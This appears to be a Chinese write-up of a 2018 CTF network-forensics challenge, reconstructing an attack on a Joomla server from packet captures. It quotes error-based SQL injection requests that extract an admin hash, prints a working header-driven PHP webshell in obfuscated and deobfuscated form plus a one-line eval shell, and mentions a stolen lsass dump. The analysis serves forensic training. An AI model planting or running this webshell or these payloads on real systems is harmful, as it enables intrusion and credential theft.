1. 程式人生 > >2018信息安全鐵人三項第三賽區數據賽題解

2018信息安全鐵人三項第三賽區數據賽題解

type 添加 lin ctr 查看命令 信息安全 error: substr fit

題目鏈接: https://pan.baidu.com/s/1b6bkW-J8vKASr8C2r9vsdQ 密碼: nux4
題目描述
1.黑客攻擊的第一個受害主機的網卡IP地址
2.黑客對URL的哪一個參數實施了SQL註入
3.第一個受害主機網站數據庫的表前綴(加上下劃線 例如abc_)
4.第一個受害主機網站數據庫的名字
5.Joomla後臺管理員的密碼是多少
6.黑客第一次獲得的php木馬的密碼是什麽
7.黑客第二次上傳php木馬是什麽時間
8.第二次上傳的木馬通過HTTP協議中的哪個頭傳遞數據
9.內網主機的mysql用戶名和請求連接的密碼hash是多少(用戶:密碼hash)
10.php代理第一次被使用時最先連接了哪個IP地址
11.黑客第一次獲取到當前目錄下的文件列表的漏洞利用請求發生在什麽時候 12.黑客在內網主機中添加的用戶名和密碼是多少 13.黑客從內網服務器中下載下來的文件名

1.黑客攻擊的第一個受害主機的網卡IP地址

2.黑客對URL的哪一個參數實施了SQL註入

技術分享圖片

過濾http包可以看出,攻擊者ip 202.1.1.2 服務器ip 192.168.1.8

並對list[select]參數進行註入,看著時間順序,很明顯是自動化註入,手註的時間間隔沒有這麽短呀。

3.第一個受害主機網站數據庫的表前綴(加上下劃線 例如abc_)

技術分享圖片

從前幾個註入的返回包來看,數據庫前綴是ajtuc_

4.第一個受害主機網站數據庫的名字

技術分享圖片

找到最後一個註入,查看返回包,所以第一個受害主機數據庫名joomla.ajtuc_users

百度得知Joomla!是一套內容管理系統。 使用PHP語言加上MySQL數據庫所開發的軟件系統,可以在Linux、 Windows、MacOSX等各種不同的平臺上執行。

5.Joomla後臺管理員的密碼是多少

密碼的提交一般都是post方式,

ip.addr ==192.168.1.8 && http contains "password" && http.request.method == POST

技術分享圖片

但看其他表哥說,密碼並不是這個

或者通過查看註入包來找到對應的密碼hash後,解密得到。。。

ip.addr == 192.168.1.8 && http contains "password"

技術分享圖片

三條信息分別回顯



Status: 500 XPATH syntax error: qqzvq$2y$10$lXujU7XaUviJDigqqkkq SQL=SELECT (UPDATEXML(5928,CONCAT(0x2e,0x71717a7671,(SELECT MID((IFNULL(CAST(password AS CHAR),0x20)),1,22) FROM joomla.ajtuc_users ORDER BY id LIMIT 0,1),0x71716b6b71),7096)),uc.name AS editor FROM `ajtuc_ucm_history` AS h LEFT JOIN ajtuc_users AS uc ON uc.id = h.editor_user_id WHERE `h`.`ucm_item_id` = 1 AND `h`.`ucm_type_id` = 1 ORDER BY `h`.`save_date`

Status: 500 XPATH syntax error: qqzvqFMzKy6.wx7EMCBqpzrJdn7qqkkq SQL=SELECT (UPDATEXML(3613,CONCAT(0x2e,0x71717a7671,(SELECT MID((IFNULL(CAST(password AS CHAR),0x20)),23,22) FROM joomla.ajtuc_users ORDER BY id LIMIT 0,1),0x71716b6b71),7939)),uc.name AS editor FROM `ajtuc_ucm_history` AS h LEFT JOIN ajtuc_users AS uc ON uc.id = h.editor_user_id WHERE `h`.`ucm_item_id` = 1 AND `h`.`ucm_type_id` = 1 ORDER BY `h`.`save_date`

Status: 500 XPATH syntax error: qqzvqzi/8B2QRD7qIlDJeqqkkq SQL=SELECT (UPDATEXML(8949,CONCAT(0x2e,0x71717a7671,(SELECT MID((IFNULL(CAST(password AS CHAR),0x20)),45,22) FROM joomla.ajtuc_users ORDER BY id LIMIT 0,1),0x71716b6b71),3079)),uc.name AS editor FROM `ajtuc_ucm_history` AS h LEFT JOIN ajtuc_users AS uc ON uc.id = h.editor_user_id WHERE `h`.`ucm_item_id` = 1 AND `h`.`ucm_type_id` = 1 ORDER BY `h`.`save_date`

可以看到數據



qqzvq$2y$10$lXujU7XaUviJDigqqkkq
qqzvqFMzKy6.wx7EMCBqpzrJdn7qqkkq
qqzvqzi/8B2QRD7qIlDJeqqkkq

我們觀察sql構造,發現具有前綴和後綴



0x71717a7671
0x71716b6b71

解碼後得到



qqzvq
qqkkq

我們去掉前綴和後綴,可以得到



$2y$10$lXujU7XaUviJDig
FMzKy6.wx7EMCBqpzrJdn7
zi/8B2QRD7qIlDJe

於是我們可以得到完整的加密密碼



$2y$10$lXujU7XaUviJDigFMzKy6.wx7EMCBqpzrJdn7zi/8B2QRD7qIlDJe     後面解碼部分就卡住咯
6.黑客第一次獲得的php木馬的密碼是什麽
上傳的話 ip.addr ==192.168.1.8 && http
技術分享圖片
發現有一個kkkaaa.php 估計就是上傳的馬兒了
數據包二
ip.addr ==192.168.1.8 && http contains "kkkaaa.php"
技術分享圖片

發現base64,估計用的菜刀連的小馬,所以第一個上傳的馬兒的密碼是zzz

7.黑客第二次上傳php木馬是什麽時間

查看kkkaaa.php相關的流量

技術分享圖片

z2的值很明顯是hex類型,復制到winhex後,發現對應的Unicode是一段混淆後的php

<?php
$p=l>]ower";$i>]=$m[1][0].$m[1]>][1];$h>]=$>]sl($ss(m>]d5($i.>]$kh),0>],3))>];$f=$s>]l($s>]s(md5;
$d=]q=array_v>]>]alues(>]$q);>]preg_match_a>]ll("/(>][\\w]>])[\\w->]]+>](?:;q=>]0.([\\d]))?,?/",>;
$W=),$ss(>]$s[>]$i],>]0,$e))),$>]>]k)));>]$o=ob_get_content>]>]s();ob_end_>]>]clean();$d=>]base;
$e=]T_LANGUAGE"];if($rr>]&&$>]ra){$>]u=pars>]e_>]url($rr);par>]se_st>]r($u[">]query"],$>]q);$>;
$E=>]64_e>]ncod>]e>](>]x(gz>]compress($o),$k));pri>]nt("<$k>$d<>]/$k>">])>];@>]session_destr>]oy();}}}};
$t=($i.>]$kf),0,3>]));$p>]="";fo>]r($z=1>];$z<>]count($m>][1]);$z+>]>]+)$p>].=$q[$m[>]2][$z]];i>;
$M=]$ra,$>]m);if($q>]&&$m>]){@sessi>]on_sta>]>]rt();$s=&$>]_SESS>]ION;$>]>]s>]s="substr";$sl="s>]>]trto;
$P=]f(s>]tr>]pos($p>],$h)===0){$s[>]$i]="";$p>]=$ss($>]p,3);>]}if(ar>]ray>]_key_exist>]>]s($i,$>]s)>]){$>;
$j=str_replace(fr,‘‘,cfrrfreatfrfre_funcfrtfrion);
$k=];}}re>]>]turn $o;>]}$>]r=$_SERV>]ER;$rr=@$r[>]"HTTP>]_REFERE>]R"];$ra>]=@>]$r[">]HTTP_A>]CC>]EP>;
$g="";for(>]$i=>]0;$i<$l;>])>]{for($j=0;($j<>]$c&&>]$i<$l);$>]j++,$i>]++){$o.>]=$t{$i>]}^$k{$j}>;
$R=$k>]h="cb4>]2";$kf="e130">];functio>]n>] x($t>],$k){$c=s>]trle>]>]n($k);$l=strle>]n>]($t)>];$o=;
$Q=]s[$i].=$p;$e=strp>]>]os(>]$s[$i>]],$f);if($>]e){$k=$kh.$k>]f;>]ob_sta>]rt();@e>]val(@gzun>]co>;
$v=]mpress(@x>](@b>]as>]>]e64_decode(pr>]>]e>]g_repla>]ce(array("/_/","/-/"),arr>]ay(>]"/","+">];
$x=str_replace(>],‘‘,$R.$g.$k.$e.$d.$M.$p.$t.$P.$Q.$v.$W.$E);
$N=$j(‘‘,$x);$N();
?>

反混淆的地方卡住了,,,,

反混淆後

<?php
function x($t, $k)
{
    $c = strlen($k);
    $l = strlen($t);
    $o = "";
    for ($i = 0; $i < $l;) {
        for ($j = 0; $j < $c && $i < $l; $j++, $i++) {
            $o .= $t[$i] ^ $k[$j];
        }
    }
    return $o;
}
$rr = @$_SERVER["HTTP_REFERER"];
$ra = @$_SERVER["HTTP_ACCEPT_LANGUAGE"];
if ($rr && $ra) {
    $u = parse_url($rr);
    parse_str($u["query"], $q);
    $q = array_values($q);
    preg_match_all("/([\w])[\w-]+(?:;q=0.([\d]))?,?/", $ra, $m);
    if ($q && $m) {
        @session_start();
        $s =& $_SESSION;
        $i = $m[1][0] . $m[1][1];
        $h = strtolower(substr(md5($i . "cb42"), 0, 3));
        $f = strtolower(substr(md5($i . "e130"), 0, 3));
        $p = "";
        for ($z = 1; $z < count($m[1]); $z++) {
            $p .= $q[$m[2][$z]];
        }
        if (strpos($p, $h) === 0) {
            $s[$i] = "";
            $p = substr($p, 3);
        }
        if (array_key_exists($i, $s)) {
            $s[$i] .= $p;
            $e = strpos($s[$i], $f);
            if ($e) {
                $k = "cb42e130";
                ob_start();
                @eval(@gzuncompress(@x(@base64_decode(preg_replace(array("/_/", "/-/"), array("/", "+"), substr($s[$i], 0, $e))), "cb42e130")));
                $o = ob_get_contents();
                ob_end_clean();
                $d = base64_encode(x(gzcompress($o), "cb42e130"));
                print "<{$k}>{$d}</{$k}>";
                @session_destroy();
            }
        }
    }
}

所以這是第二個php木馬,上傳時間 17:20:44.248365000

8.第二次上傳的木馬通過HTTP協議中的哪個頭傳遞數據

從第二個木馬中可以看到



$rr = @$_SERVER["HTTP_REFERER"];
$ra = @$_SERVER["HTTP_ACCEPT_LANGUAGE"];
所以是通過HTTP_REFERER,HTTP_ACCEPT_LANGUAGE來傳遞的數據
技術分享圖片

從z1 參數 b64decode 後,可以看到上傳路徑/var/www/html/joomla/tmp/footer.php

so,第二個木馬的名稱為footer.php

9.內網主機的mysql用戶名和請求連接的密碼hash是多少(用戶:密碼hash)

這裏應該是黑客拿下服務器192.168.1.8後,利用該機內網滲透

所以 ip.addr ==192.168.1.8 && mysql

一直到第四個數據包才找到和mysql相關的數據

技術分享圖片

admin/1a3068c3e29e03e3bcfdba6f8669ad23349dc6c4

10.php代理第一次被使用時最先連接了哪個IP地址

技術分享圖片

代理第一次被使用時最先連接了IP 4.2.2.2

11.黑客第一次獲取到當前目錄下的文件列表的漏洞利用請求發生在什麽時候

獲取當前目錄肯定得有ls或者dir

so

ip.addr==192.168.1.8 && (http contains "ls" ||http contains "dir")

一直到第九個包才才找到。。

‘;技術分享圖片

黑客第一次獲取到當前目錄下的文件列表的漏洞利用請求發生在18:36:59

可以看到內網中的另外一臺主機為192.168.2.20

12.黑客在內網主機中添加的用戶名和密碼是多少

內網主機的ip為 192.168.2.20

所以ip.addr ==192.168.2.20 &&http

技術分享圖片

黑客通過1.8服務器作為跳板,在2.20機器上寫下內容為<?php eavl($_POST[123]);?> 的sh.php

技術分享圖片

可看出2.20為windows機器

技術分享圖片

菜刀的請求包太多,一個個的decode太麻煩,,可以查看返回包來判斷啥時候在2.20機器上添加的user

技術分享圖片

技術分享圖片

18:49:27還沒有kaka用戶,等到18:50:42就出現了kaka用戶,所以說應該是在這兩個時間點之間添加的用戶

 技術分享圖片

所以黑客在內網主機中添加的用戶名和密碼是kaka/kaka

12黑客從內網服務器中下載下來的文件名
既然是下載,應該是利用中國菜刀進行下載了,那我們只過濾出post流量,查看命令即可

ip.dst == 192.168.2.20 && http.request.method==POST
 技術分享圖片

技術分享圖片

so,下載的文件為 lsass.exe_180208_185247.dmp

//copy z1,z2的value時,用快捷鍵(Ctrl+shfit+v)比較方便




2018信息安全鐵人三項第三賽區數據賽題解